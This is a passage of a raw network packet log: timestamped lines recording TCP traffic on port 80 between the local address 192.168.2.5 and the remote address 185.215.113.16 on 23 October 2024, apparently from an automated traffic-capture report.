Oct 23, 2024 15:49:14.476233006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476250887 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476259947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476286888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476303101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476325989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476331949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476360083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476375103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476396084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476396084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476429939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476449013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476464033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476469994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476499081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476506948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476532936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476545095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476567984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476581097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476603031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476612091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476639986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476653099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476674080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476684093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476710081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476725101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476743937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476756096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476778984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476793051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476814032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476820946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476846933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476864100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476882935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476893902 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476917028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476932049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476952076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476958990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476985931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476994991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477021933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477034092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477118969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477133989 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477155924 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477159977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477190018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477201939 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477225065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477236032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477258921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477274895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477293015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477304935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477328062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477341890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477365017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477371931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477400064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477412939 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477435112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477447033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477469921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477482080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477503061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477513075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477538109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477554083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477571964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477586985 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477606058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477627039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477639914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477648020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477674007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477689028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477709055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477724075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477744102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477750063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477777958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477786064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477811098 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477823973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477845907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477855921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477880001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.477891922 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.477921009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483654022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483716011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483724117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483763933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483776093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483798981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483808994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483839035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483846903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483871937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.483885050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.483918905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484663010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484710932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484714985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484761000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484785080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484802008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484818935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484832048 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484846115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484872103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484905958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484930038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484945059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484961033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484962940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484962940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484976053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.484978914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484997034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.484997988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.485014915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.485028028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.488430023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.488444090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.488467932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.488481998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.488492012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.488512039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.488548994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.496881008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.496933937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.496958017 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.496968985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.496980906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.497009993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.497021914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.497056007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.497070074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.497092009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.497103930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.497127056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.497134924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.497175932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510488033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510524988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510566950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510577917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510586023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510615110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510626078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510651112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510660887 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510680914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.510693073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.510723114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.542499065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.542526007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.542541027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.542557001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.542571068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.542572021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.542598009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.542638063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574637890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574698925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574716091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574733019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574742079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574755907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574771881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574789047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574790955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574806929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574809074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574824095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574853897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574867964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574908018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574959993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.574986935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.574992895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575015068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575028896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575056076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575063944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575087070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575098038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575120926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575131893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575155973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575166941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575189114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575202942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.575227976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.575263023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585011005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585026026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585040092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585056067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585072041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585102081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585140944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585242987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585293055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585352898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585376978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585403919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585421085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585432053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585467100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585529089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585551977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585566044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585577965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585581064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585597038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585597992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585607052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585614920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585625887 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585629940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585644960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585647106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585665941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585680008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585712910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585712910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585712910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585745096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585760117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.585783958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.585793972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586095095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586110115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586126089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586149931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586155891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586184025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586184025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586184025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586195946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586199999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586215973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586230993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586237907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586247921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586256981 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586277962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586297035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586306095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586329937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586343050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586344004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586371899 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586374998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586396933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586405993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586427927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586442947 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586474895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586484909 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586545944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586595058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586643934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586659908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586673975 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586690903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586705923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586725950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586865902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586915970 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.586920023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.586977959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587038994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587054014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587083101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587097883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587109089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587155104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587167025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587182045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587197065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587218046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587233067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587233067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587259054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587259054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587285042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587296009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587323904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587352991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587359905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587374926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587376118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587399006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587412119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587441921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587456942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587472916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587492943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587502003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587508917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587523937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587527037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587541103 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587554932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587563038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587563992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587579966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587584972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587595940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587606907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587611914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587616920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587629080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587637901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587647915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587666988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.587974072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.587997913 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588012934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588027000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588040113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588056087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588071108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588088036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588102102 CEST	80	49967	185.215.113.16	192.168.2.5
